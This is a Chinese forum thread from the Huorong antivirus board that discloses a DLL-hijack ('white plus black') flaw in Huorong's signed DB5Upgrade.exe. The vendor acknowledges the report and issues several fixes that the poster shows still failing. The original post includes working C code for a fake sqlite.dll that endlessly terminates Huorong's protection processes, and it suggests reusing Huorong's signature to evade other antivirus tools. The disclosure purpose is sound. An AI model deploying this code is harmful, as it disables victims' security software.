火绒安全软件

标题: 关于利用火绒摸坏火绒这档事 [打印本页]

作者: UnknownOoo    时间: 2025-1-8 22:05
标题: 关于利用火绒摸坏火绒这档事
本帖最后由 UnknownOoo 于 2025-1-8 22:34 编辑

嘛...先给自己套个甲:本人并非网安,计算机相关专业的(只是基于兴趣驱动),下文内容中可能会出现一些相对“愚蠢”的问题,别骂我别骂我qwq

这个漏洞并不是我第一时间发现的...而是在某微信公众号中了解到了这个利用,刚好最近有点时间就浅浅的复现下()

这种攻击手法叫“白加黑”,那么什么是“白加黑”呐,下面丢一下“白加黑”的定义:

白加黑就是通过DLL劫持在应用程序的导出目录中通过创建一个DLL并通过LoadLibrary函数(或者找一个已有的DLL注入恶意代码)来加载DLL文件。

emmm...大白话就差不多是合法的 exe 文件在加载一些文件时因为缺少对应的文件验证,导致其错误地加载了一个攻击者“精心设计”的文件,并以 exe(通常有合法签名)的名义执行其中未经授权的行为。那这次文章中的合法 exe 文件 就是火绒的啦(被打)

利用一些工具,我们可以较为快速的筛选出一些具备利用价值的 exe 文件,于是乎,我们就发现了这个:



看文件名应该是火绒升级相关的组件(?),检查了下导入表后发现,DB5Upgrade.exe 除了导入了KERNEL32.dll、ADVAPI32.dll 和
SHLWAPI.dll 系统DLL后,还导入了 sqlite.dll 这个非系统DLL,并且还不存在嵌套调用其他DLL,
这说明只需要这个 exe 和一个名为“sqlite”的DLL就能实现利用。

另外这个工具还很贴心的帮我们处理了其他导出函数以防止报错:



好滴,那么...开写!

  1. #include "pch.h"
  2. #include "dll.h"

  3. BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
  4.     switch (ul_reason_for_call) {
  5.     case DLL_PROCESS_ATTACH:
  6.         MessageBoxW(NULL, L"test1", L"INFO", MB_OK);
  7.         break;
  8.     case DLL_PROCESS_DETACH:
  9.         MessageBoxW(NULL, L"test2", L"INFO", MB_OK);
  10.         break;
  11.     case DLL_THREAD_ATTACH:
  12.         MessageBoxW(NULL, L"test3", L"INFO", MB_OK);
  13.         break;
  14.     case DLL_THREAD_DETACH:
  15.         MessageBoxW(NULL, L"test4", L"INFO", MB_OK);
  16.         break;
  17.     }
  18.     return TRUE;
  19. }
复制代码

这是一个最基本的DLL入口函数,当DLL被加载时会执行 switch 语法中的 DLL_PROCESS_ATTACH 分支,其中 MessageBoxW 函数作用是弹出一个对话框,因为这个不是重点...就不讲里面各个参数的作用了。

编译,完成!(这里已经把前面处理其他导出函数的extern语句丢进头文件哩)



然后我们把这个编译出的DLL和那个exe单独拎到一个目录下(这里和参考文章中的做法有点不一样了...参考文章中用到了进程注入和地狱之门...某种意义上来说,火绒又没有API监控...用SysCall欺负火绒也太大材小用了...)后运行...成功了!



接下来的话嘛...嘿嘿嘿,既然是火绒的更新程序,那么为了更新火绒而"重启"火绒进程应该不过分吧()

那么直接...丢代码!

  1. BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
  2.     HANDLE lp = NULL;
  3.     int PID = NULL;
  4.     char INFO[80] = "";
  5.     const wchar_t* ProcessName[4] = { L"HipsTray.exe",L"TrafficProt.exe",L"HipsDaemon.exe",L"HipsMain.exe" };
  6.     switch (ul_reason_for_call) {
  7.     case DLL_PROCESS_ATTACH:
  8.         if (!IsRunningAsAdmin()) {
  9.             MessageBoxW(NULL, L"没有获取到管理员权限,仅能结束部分进程.", L"INFO", MB_OK);
  10.         }
  11.         while (1) {
  12.             for (int i = 0; i < 4; i++) {
  13.                 PID = GetPIDByProcName(ProcessName[i]);
  14.                 if (PID != NULL) {
  15.                     lp = OpenProcess(PROCESS_TERMINATE, FALSE, PID);
  16.                     PID = NULL;
  17.                     if (lp == NULL) {
  18.                         sprintf_s(INFO, "进程:%ls 句柄获取失败!\r\n", ProcessName[i]);
  19.                         printf(INFO);
  20.                         memset(INFO, 0x00, sizeof(INFO));
  21.                         continue;
  22.                     }

  23.                     if (TerminateProcess(lp, NULL) == 0) {
  24.                         sprintf_s(INFO, "进程:%ls 结束失败!\r\n", ProcessName[i]);
  25.                         printf(INFO);
  26.                         memset(INFO, 0x00, sizeof(INFO));
  27.                         CloseHandle(lp);
  28.                     }
  29.                 }
  30.             }
  31.             Sleep(3000);
  32.         }
  33.         break;
  34.     case DLL_PROCESS_DETACH:
  35.         MessageBoxW(NULL, L"test2", L"INFO", MB_OK);
  36.         break;
  37.     case DLL_THREAD_ATTACH:
  38.         MessageBoxW(NULL, L"test3", L"INFO", MB_OK);
  39.         break;
  40.     case DLL_THREAD_DETACH:
  41.         MessageBoxW(NULL, L"test4", L"INFO", MB_OK);
  42.         break;
  43.     }
  44.     return TRUE;
  45. }
复制代码

这段代码的主要逻辑就是加载DLL后,先判断是否是管理员权限,如果不是的话弹一个窗告诉用户(?),然后就进入一个while(1)的死循环,在循环中不停地通过获取 ProcessName 数组中的进程句柄,使用 TerminateProcess 函数终止进程。

其中 GetPIDByProcName 函数是通过遍历系统快照来获取对应进程的PID,IsRunningAsAdmin 函数是检查当前进程是否以管理员权限运行,由于这些不是重点,我这边就不讲了(懒)

这里给一下演示效果()

以普通用户权限运行 DB5Upgrade.exe(测试火绒版本:6.0.5.0):



以管理员权限运行 DB5Upgrade.exe(测试火绒版本:6.0.5.0):



后者火绒失去全部防护能力...其实还可以在火绒存活时写入/修改火绒目录,利用火绒签名绕过其他杀毒软件的一些防护等等...其他发挥部分交给评论区啦()


整体代码量较大...就以 .c/.h 文件的形式上传吧(DB5Upgrade.exe也顺便上传下):
Src.zip (2.81 KB, 下载次数: 13) VulnerableEXE.zip (145.28 KB, 下载次数: 29)

参考文章地址:【免杀实战】 - 低权限kill火绒,让火绒6.0内存扫描形同虚设

作者: 文外缪朴奂    时间: 2025-1-8 23:29
技术大佬!
作者: 火绒运营专员    时间: 2025-1-9 08:50
感谢您的反馈,这边确认下呢~
作者: Dzrjks6606    时间: 2025-1-9 09:17
哈哈 楼主很不错,可惜我比你早发现几天 没发帖,直接反馈给飞飞同学了。之前问他们,看上去还没确认呢!
(链接:然而Ring3注入绕内存扫描干掉HipsDaemon的问题,依然没有解决




作者: 火绒运营专员    时间: 2025-1-9 09:20
Dzrjks6606 发表于 2025-1-9 09:17
哈哈 楼主很不错,可惜我比你早发现几天 没发帖,直接反馈给飞飞同学了。之前问他们,看上去还没确认呢!
...

您好,此问题目前在确认中呢,后续有结果后在QQ和您及时同步呢~
作者: Dzrjks6606    时间: 2025-1-9 09:22
火绒运营专员 发表于 2025-1-9 09:20
您好,此问题目前在确认中呢,后续有结果后在QQ和您及时同步呢~

速度太慢了,又一次被别人拿出来讲,甚至连BUG ID都没出来。
作者: 火绒运营专员    时间: 2025-1-9 09:26
Dzrjks6606 发表于 2025-1-9 09:22
速度太慢了,又一次被别人拿出来讲,甚至连BUG ID都没出来。

您好,问题确认需要一定时间呢~这边反馈加急下处理呢~
作者: UnknownOoo    时间: 2025-1-9 19:12
Dzrjks6606 发表于 2025-1-9 09:22
速度太慢了,又一次被别人拿出来讲,甚至连BUG ID都没出来。

被银狐利用一下,跟进速度就会快了(x)
作者: Dzrjks6606    时间: 2025-1-10 17:37
UnknownOoo 发表于 2025-1-9 19:12
被银狐利用一下,跟进速度就会快了(x)

最“理想”状态是被用于网络攻击,入侵等操作。
貌似是这个:【问题ID 55712】



作者: 火绒运营专员    时间: 2025-2-13 11:08
您好,此问题6.0.5.2版本已解决,您可升级至最新版本后重启电脑看下是否还有问题,若还出现问题您及时联系我们
作者: UnknownOoo    时间: 2025-2-13 15:22
火绒运营专员 发表于 2025-2-13 11:08
您好,此问题6.0.5.2版本已解决,您可升级至最新版本后重启电脑看下是否还有问题,若还出现问题您及时联系 ...

请看VCR:

test.zip

2.59 MB, 下载次数: 8, 下载积分: 金钱 -1


作者: 火绒运营专员    时间: 2025-2-13 15:28
UnknownOoo 发表于 2025-2-13 15:22
请看VCR:

您好,测试用的样本方便提供下吗?
作者: UnknownOoo    时间: 2025-2-13 15:31
火绒运营专员 发表于 2025-2-13 15:28
您好,测试用的样本方便提供下吗?

相关源码在主楼附件中有提供
作者: 火绒运营专员    时间: 2025-2-13 15:55
UnknownOoo 发表于 2025-2-13 15:31
相关源码在主楼附件中有提供

您好,此问题目前已重新提交修复处理【ID:55712】,后续解决后及时答复您~
作者: Dzrjks6606    时间: 2025-2-13 19:43
火绒运营专员 发表于 2025-2-13 15:55
您好,此问题目前已重新提交修复处理【ID:55712】,后续解决后及时答复您~ ...


拷打一下工程师


作者: 火绒运营专员    时间: 2025-2-13 19:52
Dzrjks6606 发表于 2025-2-13 19:43
拷打一下工程师

您好,目前问题暂未解决哈,后续解决会在原帖和您同步的呢。
作者: 火绒运营专员    时间: 2025-3-19 17:48
楼主您好,此问题6.0.5.4版本已解决,您可以升级到此版本看下,感谢您的反馈。
作者: UnknownOoo    时间: 2025-3-19 18:52
火绒运营专员 发表于 2025-3-19 17:48
楼主您好,此问题6.0.5.4版本已解决,您可以升级到此版本看下,感谢您的反馈。 ...

脆脆绒?

test.zip

2.61 MB, 下载次数: 9, 下载积分: 金钱 -1


作者: 火绒运营专员    时间: 2025-3-19 18:57
UnknownOoo 发表于 2025-3-19 18:52
脆脆绒?

您好,这边看下您提供的录屏哈
作者: TFY    时间: 2025-3-19 19:43
楼主厉害,火绒在这个问题处理还得走1~2年。
火绒似乎不做内核对抗和内核保护。
作者: UnknownOoo    时间: 2025-3-19 19:53
TFY 发表于 2025-3-19 19:43
楼主厉害,火绒在这个问题处理还得走1~2年。
火绒似乎不做内核对抗和内核保护。 ...

没好好看内容哦...整个流程并没有用到内核层面的攻击,而是利用火绒自己的组件来实现无效化火绒防护的。
作者: Dzrjks6606    时间: 2025-3-20 09:06
UnknownOoo 发表于 2025-3-19 18:52
脆脆绒?

跟进速度好快,给楼主点个赞。    有趣的是,火绒竟没有严格排查认真对待
作者: Dzrjks6606    时间: 2025-3-20 09:09
TFY 发表于 2025-3-19 19:43
楼主厉害,火绒在这个问题处理还得走1~2年。
火绒似乎不做内核对抗和内核保护。 ...

RING3就足够喝一壶的了,加了驱绒子只能任人宰割
作者: 火绒运营专员    时间: 2025-3-20 09:14
Dzrjks6606 发表于 2025-3-20 09:06
跟进速度好快,给楼主点个赞。    有趣的是,火绒竟没有严格排查认真对待 ...

您好,该问题已在加急处理中,有进展会第一时间在本贴下和您同步哈~
作者: 火绒运营专员    时间: 2025-3-20 15:55
UnknownOoo 发表于 2025-3-19 19:53
没好好看内容哦...整个流程并没有用到内核层面的攻击,而是利用火绒自己的组件来实现无效化火绒防护的。 ...

您好,您这边方便重新提供下脚本这边确认下吗?
作者: UnknownOoo    时间: 2025-3-20 16:24
火绒运营专员 发表于 2025-3-20 15:55
您好,您这边方便重新提供下脚本这边确认下吗?

真的没改过代码...还是主楼里的上传的那份
作者: 火绒运营专员    时间: 2025-3-20 17:05
UnknownOoo 发表于 2025-3-20 16:24
真的没改过代码...还是主楼里的上传的那份

好的,我们再去分析一下
作者: Hathaway    时间: 2025-3-21 11:04
火绒运营专员 发表于 2025-3-20 17:05
好的,我们再去分析一下

楼主这种方式是把火绒退出后再做的,理论上只要火绒不退出,则很难替换dll,这本应是个逻辑闭环,但“假设火绒已退出”的前提已经存在了。

甚至我们可以假设,在PE环境下对ntoskrnl.exe做patch,也不是不可以。

火绒有个古老的dll A用LoadLibrary+GetProcAddress去加载另一个dll B的导出函数(这个要追溯到2015年前), 我看了下6.0最新版本,依然如此,不过dll B的导出表比10年前有所改动。
如果把火绒退出后,按照楼主的思路,利用这两个dll会更暴力,可以直接影响到火绒主进程+90%小工具。
但没有意义,因为假设火绒退出了,在这个大前提下想做点什么是完全可以的。

我试了下运行中状态的火绒,高危应用层api对火绒主进程发挥不了作用,这样就足够了。
在我看来,更建议火绒不要存在“非重启系统方式去重启自身”的可能性。
作者: 火绒运营专员    时间: 2025-3-21 11:07
Hathaway 发表于 2025-3-21 11:04
楼主这种方式是把火绒退出后再做的,理论上只要火绒不退出,则很难替换dll,这本应是个逻辑闭环,但“假 ...

感谢您的反馈~会同步给相关工程师分析的~
作者: 火绒运营专员    时间: 2025-3-25 18:58
UnknownOoo 发表于 2025-3-20 16:24
真的没改过代码...还是主楼里的上传的那份

您好,当前最新版本6.0.5.5版本已完成推送升级,辛苦您使用最新版本再测试观察看看,关于您录屏里24年底旧版本的“DB5Upgrade.exe”文件,我们后续会进行报毒处理,有进展会第一时间和您同步,感谢您的反馈~
作者: UnknownOoo    时间: 2025-3-25 22:17
火绒运营专员 发表于 2025-3-25 18:58
您好,当前最新版本6.0.5.5版本已完成推送升级,辛苦您使用最新版本再测试观察看看,关于您录屏里24年底 ...

碎碎碎绒...

Test.zip

1.68 MB, 下载次数: 8, 下载积分: 金钱 -1


作者: 火绒运营专员    时间: 2025-3-26 08:43
UnknownOoo 发表于 2025-3-25 22:17
碎碎碎绒...

您好,您这边已经升级至6.0.5.5了吗?
作者: UnknownOoo    时间: 2025-3-26 17:32
火绒运营专员 发表于 2025-3-26 08:43
您好,您这边已经升级至6.0.5.5了吗?

没记错的话我有附带视频的来着
作者: 火绒运营专员    时间: 2025-3-26 17:33
UnknownOoo 发表于 2025-3-26 17:32
没记错的话我有附带视频的来着

您好,已收到您的信息,后续有结果回复您,感谢您的支持和反馈~
作者: shuimu    时间: 2025-4-17 11:31
老bug了,加油啊火绒。
作者: sysdiag.sys    时间: 2025-4-22 21:50
火绒运营专员 发表于 2025-3-26 17:33
您好,已收到您的信息,后续有结果回复您,感谢您的支持和反馈~

目前此问题处理进度如何呢
作者: 火绒运营专员    时间: 2025-4-23 09:18
sysdiag.sys 发表于 2025-4-22 21:50
目前此问题处理进度如何呢

您好,目前还在处理中哈~




欢迎光临 火绒安全软件 (https://bbs.huorong.cn/) Powered by Discuz! X3.4